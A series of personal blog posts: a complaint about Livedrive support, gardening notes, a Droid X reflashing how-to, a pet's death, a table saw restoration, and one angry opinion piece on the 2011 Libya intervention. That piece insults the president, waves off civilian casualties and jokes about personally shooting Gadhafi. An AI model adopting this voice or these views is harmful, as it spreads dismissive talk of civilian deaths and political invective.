Instead the staff at LD require moderator approval for every post, so it’s hours (and sometime over a day) before your post gets published, if at all. I personally have three posts to the boards, all urgent in nature, which required quick corrective action on my part before I could continue, none of which were approved by moderators, the most recent of which concerned an email archiving issue. (See Email Support issue  mentioned below)

Here is their policy notice about the forums:

livedriveforumrules

Bullet points 1 through 3 I can agree with.

Bullet point 4 suggests that you know better than we do whether you are able to answer our questions better than a community member. Well, if you had a phone number we could call in the US, I’d be ok with that. I even made the international call to London not once but three times yesterday, only to receive voicemail each time with no option to speak to a technician.

Bullet point 5 just seems completely rude. It’s a forum… a place for us to ask questions, primarily from each other, and to compare notes and troubleshoot problems. That is in essence why you put it in the “help” section of your website I assume?

In point of face your “Help page” says:

livedrive support

So now you’re even filtering what we communicate with other users about? That seems a little ridiculous don’t you think. I know you’re not a US based company so I can’t tout my “freedom of speech” card or anything, nor would I want to, however I do expect to be able to find a faster way of getting support than your standard email delays from your support department.

 

Email Support Issue:

I purchased the largest package you offer, and my “Service and Support” guarantee on your website offers “24 hour priority same day e-mail support” as part of my purchase.

Example 1:

I filed a support ticket #163907 on 1/24/11 at 1:20 PM.

I received an email 4 minutes later with the following:

This message has been automatically generated in response to the creation of a support request regarding: -

        "Subject Removed"

There is no need to reply to this message right now. Your support ticket has been assigned a Ticket ID of [livedrivesupport.com #163907].

If you wish to contact us again regarding "Subject Removed" please include the string: -

        [livedrivesupport.com #163907]

in the subject line of all future correspondence.”

I never received ANY response from support on the issue and this has been almost 75 days since I opened the ticket.

Example 2:

I filed my 4th support ticked on 3/16/2011 at 2:17PM through their “Support” button on the program interface.

Here is the screenshot of my email records to document that I’m not fabricating this: (Click the image to blow it up for further examination of the timestamps)

email support delay

My FIRST response from the staff at LiveDrive.com was a full FIVE days later. To his credit, he answered my question with his email and it wasn’t a critical issue, but was causing a problem with a client computer and I was stuck on that issue until I received his response. So.. 24 hour priority same day support huh? Umm.. not so far.

Back to my current problem 4gb filesize limitations?

Now, the 4gb filesize limitation I was originally trying to politely post on the forum, which never got approved, and which I am now forced to put here on the blog.

Problem Description:

I have an outlook PST archive file titled Exchange Archive All.pst, which as you would imagine is just that… an offline archive of some of my old emails that aren’t really needed everyday, but might need to be referenced in the future. This email archive goes back almost 10 years. I’ve been archiving this via external USB drive for years now just as a preventative backup in case my original got infected, corrupted, or otherwise became inaccessible. One of the great things about LD is the ability to backup endless amounts of data, so I was very glad to know my outlook archive would have a home in the cloud, safe from damage.

The other day I went to open the file and was greeted with an error. Hmm.. that’s not likely for me, so I try again with the same result. Curious but not supremely worried, I navigate to my email backup directory on my computer and see the following.

outlook corrupted

If you notice the highlighted file, you’ll see it’s listed as 4,194,304 kilobytes in size. That is unnatural and extremely unlikely for two reasons.

  1. 4,194,304 kb is EXACTLY 4.00 gigabytes.
  2. It is unlikely that I could create a 4.00gb outlook archive on purpose if I tried! It’s too perfectly random of a number.

My suspicion is that the storage media Livedrive.com is providing is formatted FAT32, which can’t possibly process data over 4gb, so the file on my computer got truncated during it’s upload to the backup server and reduced to 4.00 gb, the maximum allowed on their servers. I’ve been unable to determine this as fast since they won’t approve my posts on the forums and therefore I can’t ask my other peers if they have ever experienced a 4gb limitation on their file sizes.

 

Secondly I do this for a living, so I KNOW the only thing that’s changed on this target computer is the addition of LD in recent months. Today I went and restored the last backup I’d made off my USB media. The screenshot below shows the actual filesize, as it’s supposed to be.

outlook fixed

You can see from the backup folder that the original filesize was supposed to be 5.685 gigabytes. I copied the old file back over to my computer and as suspected it’s working fine now.

So, my question for LiveDrive.Com support is this: Is there a 4gb filesize limitation on files uploaded through your system? Please advise…

I’ll let you know what I find out…

Sunday, April 03, 2011

Getting the Garden Started

Wow it’s been a busy couple of days, at least those I’ve been home. For three days before leaving for Denver and for three days since I’ve been back I’ve been constantly getting the garden ready for this year. Those of you who know me know I’ve always wanted a “real” garden and it looks like this year I’m going to have the space and time to devote to it.

The neighbor behind us has about 3 to 4 acres that abuts our property and he only uses it for hay for his horses. He offered to plow me some of his field for garden if I wanted it and I jumped on the idea. I’ve been patiently waiting for about six months for planting time to arrive and now its just about here.

One thing I’ve learned so far this season, though its only just begun, is a huge respect for gardeners of years past who did everything on their own with no machinery. Everything I’ve done thus far this year has been completely by hand and my garden is extremely small compared to others and hand-tilling this will wear you out! Stanly county soil is thick red clay, so thick it often clumps so tight you can mistake it for stone. I’ve had to hand-crush all the clumps, mix about a thousand pounds of clay with 500 pounds of potting soil, and added osmocote to the mix as a booster. Just the rose garden took me almost three days to complete and it’s only 18 feet long.

The newest addition: Herb Garden.

herbgardenLittle ideas here and there have led me to more and more work, two solid days of which resulted in me getting Amy’s herb garden designed and built. After building the first part of it today she’s decided she wants to double it and put one on the other side of the patio, so I’ll get to work on that in the next couple of days. First she decided she wanted it twice as tall. Now she wants two of them! lol. It’s work but I love woodworking and I love gardening, so I certainly enjoy combining the two, especially when it’s stuff she wants!

The picture here is a raised bed I built for a total of about $40.00 in materials. I’d highly suggest building your own over purchasing pre-built beds. It just makes no sense to spend that kind of money when you can do this in an afternoon. This one is 1 foot tall, 12 feet long, L shaped, and 18 inches wide.

The next project is one just like it with a bench in the middle that will go across the patio from this one.

This weekend I laid in the herbs that are already potted and ready to go. This bed you see here (above) has Lavender,rosemary, peppermint, sage, oregano, Strawberries (cause I really wanted at least ONE strawberry plant) and two kinds of peppers so Amy and Jordan can make their Salsa-Verde they like so much.

The garden thus far this year:

snapdragons Prior to this weekend we primarily put the flowering stuff roses, creeping phloxes (pink fuscia and pale pink), candytuft, Raspberries, african daisies, creeping thyme, lithidora, and snap dragons.

The next obstacle to tackle is the seed germination for the vegetable garden and for the other herb garden, all of which I seeded tonight. I sorted, catalogued, and started 144 new plants, all of which will go in the ground within the coming month. I’m cataloguing these below for my own reference so I’ll know what’s what when its time to transfer them.

Tray 1:

  • 6 Cherry Tomatoes
  • 6 Beefsteak Tomatoes
  • 10 Okra
  • 4 Giant Watermelon
  • 6 Crimson Sweet Watermelons
  • 4 Jubilee Watermelons
  • 12 Sugar Baby Watermelons
  • 6 Jalapeno Peppers
  • 6 Tendergreen Cucumbers
  • 6 Boston Pickling Cucumbers
  • 6 Straight 8” Cucumbers
  • 6 Zucchini Squash

Tray 2

  • 18 Giant Speckled Pole Beans
  • 8 Cowpeas
  • 6 Thorogreen Bush Lima Beans
  • 6 California Wonder Bell Pellers
  • 6 Straightneck Squash
  • 6 Basil
  • 6 Coreander
  • 6 Parsley
  • 6 Early Summer Crookneck Squash
  • 6 Dill Bouquet

Tomorrow I’ve got two quotes to work on for customers, 1 project to schedule, and then I’m off to find a place to hunt down some bamboo so I can work up my idea for bean poles, then I’m off to Lowe’s for more lumber for my wife’s herb garden/bench. Oi! Ok, back to work.

Wednesday, March 23, 2011

Thoughts on the Libyan War: Operation Odyssey Dawn and “Obomba”

As an American who has spent significant time in Libya, made friends in Libya, and even lived there for a short time, I’ve been keeping fairly abreast of the goings-on in the recent news and I find myself having to speak out on the matter.  As a citizen whose country has been at war on behalf of other nations for over a decade, yet never going to war for our own defense, and whose nation is in the worst economic situation in the last eighty years, I find myself unable to conscionably condone yet another war in a foreign country that we’re not really going to actually “fight” especially when I’d imagine we’re doing so for free. We can’t take care of our own country, yet we’re qualified to help them take care of theirs?

By now you should know Operation Odyssey dawn has gone into effect; the code name for our newest military debacle where we put our noses and our fighter jets somewhere they don’t belong and do it for nothing. Our country is broke. We owe TRILLIONS of debt and we’re spending BILLIONS on this effort for little to no recompense. Let me amend that.. absolutely no recompense, for our efforts.  When will this stop? Sure, life sucks all over the world and dictators are everywhere, but I don’t see us bombing the communist dictators of China. Why the hell are we in Libya?

Already, this close to the forming of the new “joint venture” (and I use that term very loosely), all the foreign governments who are pushing us to back this no-fly-zone enforcement of  UN Security Council Ruling 1973 are wondering where the money is going to come from and what we’re actually there to do, and oh yeah… whose going to do it? President Obama came out and said plainly that ousting Gadhafi is NOT the goal of the U.N operation, but other allies are stating at the same time that it’s the key objective. Left hand; meet right hand. You two should talk before you get on international television and start spouting sound-bytes.

The same day, Obama, (in one of the rare smart things I’ve ever heard him say) told the Washington Post that we (the US) are seeking to hand over the reins of leading this operation to another country over the next several days but no one seems to know who is going to take over for us. Then one of our own think-tank directors pretty much sums it up clearly and says it’s gonna stay in our lap like someone’s stinky child… no one else wants it. I mean why not? We’re already fighting two wars. What’s a third to our economic deficit? With the possible exception of the Roman Empire, I’m pretty sure no country in mankind’s civilization has ever fought three wars on three different fronts when none of them concerned their own country.

Right now NATO is a complete Cluster-*$#k, no one knows what’s going to happen, and we have no idea how to plan this? Seriously?

I’ve been to Libya.. I’ve sees Gadhafi’s compound. Every single living soul in Tripoli knows where it is… it’s the only one with sniper towers every 50 meters, surrounded by a blockade of stone, and with the pointy barrels of guns sticking out of it. If we’re going to do this to help the Libyan people, we could be in and out in less than an hour.  Pick our targets of opportunity, drop in a few JDAM warheads, bug back out to the USS Enterprise  or the USS Kearsarge parked off the coast and be home before dinner. Boom. The entire “war” would be over in less than a day. We could obliterate the entire country with the firepower banked on those two warships.. so why can’t we kill one old fat dictator and his two bastard sons? And all that is even IF the Libyan people want us there in the first place. If they ask, sure. We’ll come over there with a few hundred million dollars worth of jets and firepower for your defense. Then we’ll send you a HUGE bill, payable in crude oil. Hell, we’ll even help rebuild Ras Lanuf and Brega oil fields for that! Why not? That’s a sensible approach to assisting another country. Not this “let’s fly around and take potshots at tanks” crap we’re doing now.

Journalists are getting rebels and civilians stating that Gadhafi is bombing family homes with tanks,and that’s killed over 90 and wounded over 1000 in Misrata alone. And that was just on Tuesday; one day. In a city of only 300,000, injuring 1000 per day seems like good enough reason to drop bombs on everything spouting a gun-turret and let the dice fall where they may. Might we hurt some civilians? Yes, it’s war. Shit happens. But I guarantee we won’t kill a thousand TOTAL in the country if we went in there and wiped him out in one afternoon. Here’s an idea to help save the innocents. “Attention Libyan People: When you hear the roaring sound of jets overhead, run in the opposite direction of the bad guys and don’t come back for a day or so. We’ll take care of the rest!” There. I just saved thousands of innocent lives. Ya happy?

According to reports coming out of Libya, the rebels who actually ARE fighting him are trying to give us the coordinates of his tanks and military targets but we’re not bothering to answer their calls.  Thanks Admiral Sam Locklear. We appreciate your coordinate effort to get intel from the locals! For God’s sake, we’ve already dumped 161 Tomohawk cruise missiles into the country at about 1.2 million each. We’re already in this for 200 million at in a couple days with nothing to show for it! According to the CSBA (Center for Strategic and Budgetary Assessments) our no-fly zone will cost about 400-800 million to implement and over 100 million per week to maintain it. Are you telling me we can’t paint a target on this guys head for less than a billion dollars and pull the trigger? I’ll make you a deal. Give me half that and I’ll go over there and put a bullet in him myself. I think with half a billion dollars I could probably get some pretty serious firepower working over there. What the hell are we doing?

Obama, get off your sorry ass and get our country out of the wars you already promised to get us out of, you lying sack of manure. Haven’t your policies ruined this once-great country enough in the brief time you’ve been in office? We don’t belong in Libya and if we ARE going to go there, let someone who knows what the hell they’re doing lead the charge.  If you’ve never been in the military you certainly don’t deserve to lead the most powerful one on earth, not to mention your lack of foreign policy is kinda scary. I hear southeast Asia loves you.. you should go back there and run for office!

Either stay out of their country, or go over there with all our might and have our jets back home by week’s end!

Saturday, January 15, 2011

How to Update your Droid X if you’ve removed bloatware and can’t get updates AND KEEP ALL YOUR DATA! (The Easy Way)

If you’re like me and removed all the extra bloatware the Droid X comes shipped with (Blockbuster, CityId, Amazon, etc)  you’ve probably already found out that you can no longer get updates from Motorola. I’ll try to save you the month and a half of Googling I had to do and explain why and how to fix it, and how NOT to fix it. As a side note, this should work for changing out any ROM on your Droid.  If you’re like me, you’re incorrectly assuming that this update will wipe your phone and you have to reinstall everything from scratch. Wrong! I didn’t know it would do this, but apparently upgrading the original factory ROM just replaces the missing files on the phone. It doesn’t wipe the phone like you would do if you were doing a reset. When this was all done I was very happy to see that all my apps, preferences, and everything else was just like it was before I started except I now could get the upgrade.

Why you can’t get updates:

Chances are you wanted to speed up your Droid a little and get rid of those running processes you’ll never use. You rooted your phone, deleted the apps and then your Droid ran a little faster and you were happy for awhile, right?

Here’s the rub; and I’m not a fan of Motorola doing this personally, but I guess I understand why they do it:

There are certain applications your Droid X came with that you can remove. There are others that you can NOT remove without Rooting your Droid. If you remove these apps you can’t get future updates for the Droid X.

 

Reinstalling the Apps Necessary to Update the Droid X

Some of you have already tried the obvious trick that came to my mind; just put the apps back on the phone and then update! Wrong. That won’t work either because Motorola installed those apps from the System level, and your user profile on the Droid doesn’t have the permission to put the applications back with the same permissions they were previously installed with. It doesn’t matter why, so don’t bother yourself with it. It’s just the root of the problem (if you’ll pardon the bad pun). 

Now, there ARE tools out there if you’re a Linux geek that can help you restore the applications one by one, and then you can run command line arguments at root level to reapply system permissions to these folders. After two hours of searching out the right software do to it, then figuring out how to adjust my environment variables in Windows 7x64 I was no closed to having my problem fixed so I searched for another way to do it. That way was just WAY too complicated. Plus, if you can do that, you’re probably not reading this page anyway. Instead you’re laughing at me, feeling sorry for n00bs like me while reading LifeHacker on your Linux box in your Spiderman T-shirt.

 

Giving Credit Where It Is Due

Just because I wrote this how-to doesn’t mean I’m the brains here. I’d like to give credit to the person who wrote it up for me so I could understand it. Thanks go to “BBCrackman” at Droid World for his post. If you’d like, you can read his article here. After he wrote his article, there were tons and tons of comments similar to problems I was having, and a lot of modifications offered by others that led me to my solution, so I thought I’d re-post the fix with a little more information geared to the non-android-programmers out there (like me).

Fixing your Droid: Getting the Tools you need

Ok, enough talking. You’re only here to figure out how to fix your Droid X and get updates, so let’s get to the meat of it.

You’re going to need one, possibly two programs and one file to do this, and your Droid USB cable.

Note: I did this on Windows 7 64-bit. The programs should work the same for you but I can’t guarantee anything on another operating system.

  1. Download RSD Lite (Download here) RSD Lite is a windows-based program that will allow you to install the SBF file on your Droid. The SBF file is the original factory ROM (programming) for the Droid X, version 2.2. Once you have this installed correctly, you can update to whatever current version you choose.
  2. Download the official SBF file for Droid 2.2 (Download here) The mirror sites for this file gave me a really hard time. I think the one that finally worked for me was the third mirror on the page, MegaUpload. The file is 434mb and downloads very slowly. I’m putting up my own mirror for the file, so if you’d like it, leave a comment with your email address and I’ll send you the link. I’m not going to post it here publicly because my server would likely get hammered by people needing the SBF.
  3. Download Motorola Mobile Phone USB Drivers. (Download here) You might not need this program if RSD finds your phone the first time, but I had to install it on mine for it to work properly.

Step 1: Remove Software

Uninstall EVERY Motorola program you have on your computer. Don’t have any Motorola sync software left when you start this!! I skipped this advice on mine and it only finally worked when I listened to the others and deleted the other Motorola sync software. Apparently some of those programs change the USB driver and RSD Lite won’t be able to see your Droid X. If it can’t see your phone, then you can’t run the update.

Step 2: Install Software on your PC

Install RSD Lite. It’s easy and will only take a minute. Once it’s installed, go ahead and install the Motorola USB Drivers, mentioned above. You can wait and see if RSD Lite works without you needing to install the drivers. That’s up to you.

Step 3: Connect your phone

Connect your phone to your computer and start RSD lite.

  • Be sure you’re set in to PC Mode, and Debugging Mode.

After a few seconds you should see a screen like this one below.

RSDLite

See the blue highlighted line? That means RSD lite detected my Droid correctly. Highlight the line on your computer and click the Show Device button at the top to see the info you see in the top of the picture. It’s just your phone’s basic information.

What to do if RSD Lite doesn’t see your phone:

I can’t really help you in specific with this part because it could be a hundred different reasons why. Do what I did; go to Google and type “RSD Lite won’t see my phone” and hunt until you find a solution for your particular computer. My solution was to do what I mentioned before: remove all the Motorola software. Then I had to install the Motorola USB drivers and it worked like a charm.

Step 4: Press Start and Wait

Click the “…” icon on RSD lite and browse to the SBF file you downloaded. Press Start. Walk away for about 15 minutes. Yes I know like you feel like an expectant parent in a delivery room during your child’s labor… “Oh god, it is gonna be ok? Is it gonna work? Is it gonna die?” Just go get a macchiato and relax. If you’ve come this far you’re OK.

What happens at this point:

I admit I was a little scared at this point. I’m picturing my phone being a brick if this goes wrong, just like you probably are and trying to figure out what I can do to it to make it look like an accident when I carry it back to the Verizon store and pretend to claim it just quit working. Your phone screen will probably go dark, reboot, and then say something like “SW Update” for a few minutes. You can watch the progress bar on the RSD Lite program to see how far along you are. After a few minutes of that I received the android update animation.. that yellow bar you’re used to seeing get to about 30% and fail. Remember that one? Well it got to about 30% again and then just appeared to hang… BUT.. after I looked closer I could see it was still going. Then it slowly made it’s way up to 100% and the phone rebooted. Once it’s done your phone will come back on and you’ll have the new version.

Step 5: Your Phone Might Not Work…

Yeah, I freaked out too. There was a blue triangle icon on my home screen notification area and I couldn’t make any calls, couldn’t send texts, etc. I freaked out at first, knowing I’d bricked it. Actually you haven’t bricked it… it’s just like it came from the factory, with the exceptions that it’s got no account information in its ROM.  If you want to verify, go to the Phone Status screen under settings and look at your phone number. It’s probably not showing correctly. It’s an easy fix.

  • Dial *228
  • Press 2. This will deactivate roaming and put you back on the network.
  • Hang up when done.
  • Dial *228 again.
  • Press 1. This will “activate” the phone on verizon’s network and tell the phone what number it is. Verizon already has all that information stored based on your serial number, so you just need to tell the phone to go get the information again. This might take as long as a minute, but that’s about it.

Sunday, January 02, 2011

Jacob is Gone

It’s a really sad morning here at our house. Little Joshua came running into our bedroom this morning crying because he’d tried to take Jacob, our family’s ferret, out of his cage and something was wrong. Jacob had tried to get out of the cage sometime in the middle of the night and got caught in the door and suffocated. The space was too small for him to escape and I guess he was just determined not to go back in. He did that a lot. He could wiggle out of just about anything, under anything, and between anything.

Some people won’t understand this, but I just wanted to take a moment to honor him here and remember him.  I don’t even like ferrets… I’ve never seen one before that I cared anything for, but this little guy was different from the very first day Hannah brought him home. He was a rescue from the Stanly County Humane Society and when Hannah saw him over the summer she had to bring him home. My first thought was “Great, another pet” but it didn’t last long.

All you had to do was see this little guy in action and you fell in love with him. He played with the humans, the cats, the dogs. Yeah, he even held his own every day playing with my 50 pound dog. Every time I let the dog inside the house, she trots to Jacob’s room to see if he’s in his cage or out and about. If he’s out, she goes looking to play with him. In all the time we had him he never bit anyone, hurt anything, damaged any furniture, or anything else. He was a perfect addition to our little family. We let him out of his cage for entire days, sometimes even all night. He just hung out with the family, laid under the coffee table. He’d even gotten in the habit of trying to follow you into the shower. If you weren’t careful he’d pull back the shower curtain and jump in to wash himself off then tear off through the house like a little madman trying to get the scent of soap off him. He was the coolest little pet I’ve ever had.

He’s gone now and our lives are the worse for it, but our lives are better for having had him as a part of the family, even for only a little while.  He made all of us smile every single day we shared with him.

My Christian beliefs don’t really say much about animals, but I believe that God has plenty of room in all of Heaven’s space for special little friends, so I choose to believe he’s up there entertaining other kids and families and that I’ll see him again one day.

Goodbye little buddy. I’m really really going to miss you. 

2010-09-27_17-27-46_10

Saturday, January 01, 2011

Restoring my Grandfather’s Craftsman Table Saw

I got up yesterday to a slow day in the shop with very little to do, and sometime mid-morning decided I wanted to get Papa’s table-saw out of storage before it got into any worse shape and see if I could restore it and build a table for it so I can use it in the shop. I currently use my Dad’s Makita 1/2 horse but that’s not strong enough for some of the needs I’ve had so I figured it was time to break out the big boy and put it to back to work.

It didn’t take me long to run into one problem after another. The saw had been sitting in storage for about 2 years and had developed a significant amount of rust.  I didn’t have the motor mounts to be able to install the motor, didn’t have the manual for the saw, and don’t really even know what model or year it is, so I have no reference point to start at for any of this. All I know is I have this saw and I want it to go in just this spot in my shop… no plan on how to get from step A to Z.

Research:

Visit Old Woodworking MachinesI’d like to give a big thanks to the members over at  “Old Woodworking Machines.” They have a members section where users across the US upload pictures of their saws, drill presses, lathes, and other tools. Through this database of member submissions, totaling 945 Craftsman uploads, I was able to determine the model, year and other info I needed to restore this old saw. They even had the original craftsman manual available for download, which I’d like to point out Sears does offer. lol

 

DSCN0544

This is the saw when I first brought it out of storage. You can see the table (the cast-iron top) is extremely rust covered and in need of some real love and attention.

 

DSCN0552

The base (the big box that hides the inner guts) isn’t in much prettier shape itself; showing signs of rust, dents, dings, scratches and 40 years of use.

DSCN0546

This inner workings (also made of cast iron) that make up the working parts of the saw are mounted to what’s called the Cradle; the big piece of iron that hangs down from the middle of the table. They’re in pretty nasty shape too.

Just as a side note, my entire Makita table saw (including the table, saw motor, blades, case AND stand, only weighs about 40 pounds. This big girl here when completely assembled weighs in at about 400 pounds with all the accessories mounted. Since I’m missing a few pieces, she’ll weight about half that when I’m done.

DSCN0554

What you’re seeing here is the table turned upside down and the base removed. You can see the Arbor where the blade attaches on the near-side of the cradle. That brown and tan stuff isn’t actually rust. Believe it or not that’s 40 years of caked sawdust… I had to literally break some of it off with a chisel to get it off!

 

DSCN0555

The tilt screw and other adjustment mechanisms are caked with sawdust, but otherwise undamaged over the years, but I’m still going to have to take it completely apart to regrease them. I tried adjusting the saw before I took it apart, but the tilt screw and height screws are so caked with gunk as to make it too much work. I remember what this saw is supposed to function like from my childhood years so we’re taking this baby all the way apart to restore it back to as close to factory as I can.

DSCN0556

The base and front panel have been separated for cleaning.  The front panel can’t be replaced since Sears no longer carries that part so I’m going to have to do the best I can with restoring the one I’ve got. It’s incredibly thin sheet aluminum so it’s not really easy to work with without breaking it.

DSCN0557

Those silver aluminum guides are called trunnions. The cradle glides inside the lip for left-to-right adjustment of the blade tilt.  I took this picture just so I could remember which trunnion went on the front of the saw since they look almost identical, but one is for the front and one is for the back.

 

DSCN0559

Once completely removed the cradle is ready to work on.

 

DSCN0560

Amy took a picture about halfway through the process.

 

DSCN0564

The finished cradle turned out beautifully. Cleaning it was easier than you’d imagine. First I sprayed it liberally with WD-40. That seemed to immediately loosen all the caked on grime and it almost all just washed off the iron frame. I took a medium grade wire wheel on my portable drill and just performed a quick scour of the remaining gunk. If you’re restoring your own I’ll share a quick tip with you. You’d think a wire-wheel spinning at 18,000 rpm’s would devestate cast iron, but it really doesn’t at all. Sand paper does more damage to metal than a wire-wheel, as long as you aren’t putting all your weight behind it. It made quick work of cleaning the cradle, totalling about 20 minutes from beginning to end.

DSCN0565

This is the other side of the Cradle. Here you can see all the divots and recesses. I’d suggest WD-40 before you even try getting a grinder-wheel in those small spaces. This side was completely cleaned using only WD-40 and a kerosene-soaked rag. I didn’t even have to wipe it down afterwards. I just blew it dry with the air-compressor in a couple seconds.

 

DSCN0566

My dad was famous for initialing everything in his shop. If you had your tools stolen off job sites enough times you would be too. Apparently there was another coat of paint put on the base in recent years because when I sanded through it I revealed this on the undercoat. It’s just a neat memory. I don’t recall ever seeing this on Papa’s saw so it might have been repainted when I was too young to remember.  Regardless, there’s another coat of paint here to get through. I did all the sanding with 120 grit paper on a large pad-sander and was very happy with the results.

DSCN0567

Sorry for the dirt on my camera lens. I shouldn’t have left it near all the WD-40 and kerosene when I was blowing the trash off the cradle earlier. Oops! Here you can see (through the dirt on my lens) the cleaned shiny steel, ready for a new coat of paint.

 

DSCN0570

While waiting on the paint to dry on the base, I decided to take a look at the motor. Earlier in the day I rewired the motor and tested it. Now that I know it works, I figured I’d better see what kind of shape it’s in. As you can see here it’s pretty dirty, even after being cleaned out with the air compressor.

NOTE: If you’re reconditioning something like this for use in your shop as a hobby, be very careful with the motor you’re using. The Craftsman 113.29660 saw came from sears with a 3/4 horsepower sears motor rated for 110V. My dad replaced it sometime back (like many other’s did) with a stronger motor. If you’re cutting 4x4 pilings or hardwood all the time the original motor is too weak, so carpenters often replace the motor of some of their saws with stronger ones for larger jobs.  Dad had a “big saw” (this one) and a smaller saw (my Makita). This is a 2HP WEG reversible, dual voltage, motor. Reversible means of course that it can be wired to spin in either direction. Dual voltage means it can run on 110V or 220V, depending on the need. My shop is only wired with 110V at the moment so I had to rewire the motor to work with my power requirements. On 110V this motor can draw up to 22 amps. (Considering I only have a dedicated 20-Amp breaker for it I guess I might be rewiring my house again in the coming months… sigh.)

It’s really important to be extremely careful with these big motors.  My Makita saw will sometimes bog down on a 2x4 if it’s wet, so I’m not too scared of it accidentally grabbing a piece of wood and throwing it back at me. This saw however it another story. I remember as a kid that dad was running a piece of 2x4 through it.  Either a nail or an extremely dense knot caught the blade. Since it’s 4 times as powerful as the other motor, rather than bogging down and stopping the motor, this motor grabbed the 2x4 and hurled it backwards so hard that the board went THROUGH the wall behind it. I don’t mean  it hit it and knocked a hole in it. I mean it took a 20 pound piece of lumber and shot it like a cannon right through a wooden wall about 12 feet away. If I’d been behind the motor that day it would have shot it right through me like it was going through a stick of butter. If you don’t NEED a strong motor, don’t use one. And if you do, be cognizant of it at all times.

DSCN0572

A closer look at the electromagnet inside the motor. Not too bad but needs cleaning. Do NOT clean something like this with a flammable solvent, or really ANY kind of solvent in my opinion. I’m not an electrician by any means but I can only imagine what would happen if you fired this thing up with solvent still inside the motor. I’d suggest a toothbrush and an air compressor or can of compressed air for cleaning it.

DSCN0573

At this point I’ve repainted the base, the bottom of the table, and reassembled most of it back to working order.

 

DSCN0575

Here she is reassembled. I cleaned the wheel assembly (the handle) carefully with a wire-wheel on low speed, repainted the base, and coated the underside of the table with engine enamel. (I figure that ought to keep it rust free for another 20 years or so. lol)

DSCN0580

This is a front view once she’s been reassembled. Now I just need to wait for my new motor mount to come in from eBay and then I can get her working again.

If you want to see what a guy can REALLY do when he sets his mind to restoring one of these, check out this guy’s restoration. Click here.

I’m still a long way from that, but I’ll get the parts together somehow and get her completed one day. In the meantime she’s ready to work in Jordan’s Woodshop once again!